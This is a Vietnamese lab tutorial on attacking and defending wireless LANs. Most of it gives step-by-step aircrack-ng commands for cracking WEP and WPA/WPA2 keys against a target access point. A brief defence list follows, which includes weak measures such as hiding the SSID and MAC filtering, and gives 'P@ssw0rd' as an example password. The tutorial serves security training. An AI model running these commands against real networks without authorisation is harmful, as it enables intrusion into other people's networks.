cách tấn công và phòng thủ mạng wireless lan

CÁCH TẤN CÔNG VÀ PHÒNG THỦ MẠNG WIRELESS LAN
MÔ HÌNH:
TẤN CÔNG MẠNG WIRELESS LAN SỬ DỤNG BẢO MẬT DẠNG WEP :
CHUẨN BỊ :
Đầu tiên các máy phải kết nối mạng theo mô hình trên
Ta cần một máy tính có gắn card wireless được backtrack hỗ trợ để hack
Và cuối cùng ta sử dụng một disc hoặc usb có chứa phần mềm backtrack 4 FINAL
CÁC BƯỚC THỰC HIỆN:
BƯỚC 1:
Ta vào bios cấu hình máy tính khởi động từ disc hay usb
BƯỚC 2:
SỬ DỤNG GIAO DIỆN ĐỒ HỌA TRONG MÔI TRƯỜNG BACKTRACK 4 FINAL
Từ dấu nhắc ta sử dụng lệnh Startx
BƯỚC 3 :
CHUYỂN CARD SANG CHẾ ĐỘ MONITOR
Mở terminal (tương tự dos trong windown) và gõ lệnh IWCONFIG
Chuyển sang chế độ monitor ta dùng lệnh : airmon-ng start wlan0 (wlan0 là tên card mạng có thể mỗi
máy có tên card mạng khác như ath0)
BƯỚC 4:
TÌM ACCESS POINT (AP) PHÁT SÓNG XUNG QUANH
Gõ lệnh : airodump-ng wlan0
BƯỚC 5:
CHỌN AP CẦN TẤN CÔNG
Mở terminal thứ 2 lên gõ lệnh : airodump-ng -w wep –c 6 –bssid 00:1B:11:58:7B:A9 wlan0
BƯỚC 6 :
HACKER GIẢ ADDRESS (WIRELESS CLIENT) ĐỂ CHỨNG THỰC VỚI AP
Mở terminal thứ 3 gõ lệnh : aireplay-ng -1 0 –a 00:1B:11:58:7B:A9 wlan0
BƯỚC 7 :
Gửi gói tin lên mạng để làm tăng traffic nhằm mục đích thu thập các gói tập tin nhanh hơn để giải mã
tìm key
Mở terminal 4 gõ lệnh : aireplay-ng -3 –b 00:1B:11:58:7B:A9 wlan0

BƯỚC 8 :Xem traffic thu thập được bao nhiêu nếu (wep 64 bit thì từ 10000 đến 40000 thì ta đã giải mã
được còn đối với wep 128bit thì có thể ta cần đến 110000 để giải mã ) ta trở lại màn hình ở bước 5 coi ở
cột Data đã được bao nhiêu gói
Bước 9 : TÌM KEY :
Ta sử dụng lệnh aircrack-ng wep-01.cap wlan0
Đây là hình ảnh key mà ta tìm được
TẤN CÔNG MẠNG WLAN SỬ DUNG DẠNG BẢO MẬT WPA
YÊU CẦU:
vĐể crack được wpa thì yêu cầu phải có môi trường cơ sở dữ liệu SQLite. Ta có thể download
SQLite tại .
vMột list chứa các password, list này phải đảm bảo có chứa khoá của mạng mà ta cần hack
vMột list chứa các ssid, list này phải đảm bảo có chứa ssid của AP target.
Bài lab này sẽ tiến hành crack các loại khoá là WPA PERSONAL TKIP, WPA PERSONAL
AES, WPA2 AES và WPA2 TKIP+AES.
CÁC BƯỚC TIẾN HÀNH CRACK:
vCÀI ĐẶT SQLite như sau:
 tar xvzf /root/Desktop/sqlite/sqlite-3.5.7.tar.gz
 cd sqlite-3.5.7
 ./configure prefix=/usr/local
 Make
CRACK WPA TKIP:
·Chuyển card wireless về monitor mode như hình sau:
• Dò tìm kênh và MAC address của AP target và client target bằng lệnh airodump-ng ath0 , kết quả dò tìm như hình sau :
Tiến hành bắt gói trên kênh và MAC address của AP target vừa tìm được bằng lệnh:
airodump-ng –c 1 –w/root/desktop/capture/wpa –bssid 00:14:bf:05: d6:0c ath0
Tiếp theo, ta dùng tool aireplay và MAC address của client target để tạo ra 4 bước bắt tay với AP target :
Aireplay-ng -0 1 –a 00:14:bf:05: d6:0c –c 00:16:b6:99:74:78 ath0
Quay lại màn hình bắt gói airodump quan sát ta thấy quá trình bắt tay đã diễn ra như hình sau:
Thế là ta đã capture được 4 bước bắt tay với AP target.
• Dùng tool airolib-ng để tạo cơ sở dữ liệu cho quá trình crack bằng lệnh airolib-ng vnpro_gtvt_hcm init

với vnpro_gtvt_hcm là tên của cơ sở dữ liệu được chứa mặc định trong home folder.
Sau đó, ta import các list password và list ssid vào cơ sỡ dữ liệu vnpro_gtvt_hcm như sau:
Airolib-ng vnpro_gtvt_hcm import ascii essid dictionary.txt
/* với dictionary.txt là list chứa tên các ssid */
Airolib-ng vnpro_gtvt_hcm import ascii passwd password.lst
/* với password.lst là file chứa các password */
Ta kết hợp các ssid với password với nhau sau khi import thành công list password và list ssid bằng lệnh:
Airolib-ng vnpro_gtvt_hcm batch
kiểm tra lại số ssid và password hợp lệ mà ta có bằng lệnh sau:
Airolib-ng vnpro_gtvt_hcm stats
mở một shell mới chạy tool aircrack-ng để tìm khoá :
aircrack-ng –r vnpro_gtvt_hcm /root/desktop/capture/wpa*.cap
Sau khi lệnh thực hiện xong, ta thu được key
Quá trình crack khoá WPA AES, WPA2 AES và WPA2 TKIP+AES bao gồm các bước thực hiện hoàn toàn như việc
crack WPA TKIP. Tiếp theo, ta chỉ kiểm tra quá trình tìm ra khoá của các loại khoá trên
CRACK WAP AES
Khoá tìm được :
CRACK WPA2 AES
CRACK WPA2 TKIP+AES
Chạy lệnh tool aircrack để tìm key
Tìm được key là vnprogtvthcmtkipvaaes (vnpro gtvt hcm tkip và aes)
CÁC BƯỚC PHÒNG THỦ
o Password phức tạp P@ssw0rd (ít nhất là 10 ký tự trở lên, gồm 4
thành phần)
o Bảo mât wlan bằng IP Address chúng ta không cho accesspoint cấp
địa chỉ IP động (disable DHCP) cho các wireless client hay dùng kỹ thuật phân
chia mạng con (supnetting) để cấp số lượng IP cho phù hợp với số lượng
wireless clietn phù hợp trong mạng
o ẩn SSID (DISABLE BROADCAST)
o Lọc MAC ADDRESS : Sử dụng tính năng lọc MAC address để cho phép

hoặc không cho phép 1 số wireless client truy cập vào hệ thống mạng
o Nêu truy cập vào access point thường xuyên để xem có kẻ lạ mặt
vào hay khôngnếu phát hiện đổi pass ngay lập tức
o hoặc chúng ta sẽ xây dựng hệ thống Radius nhằm mã hoá sóng
wireless cao cấp hơn (wpa2 radius)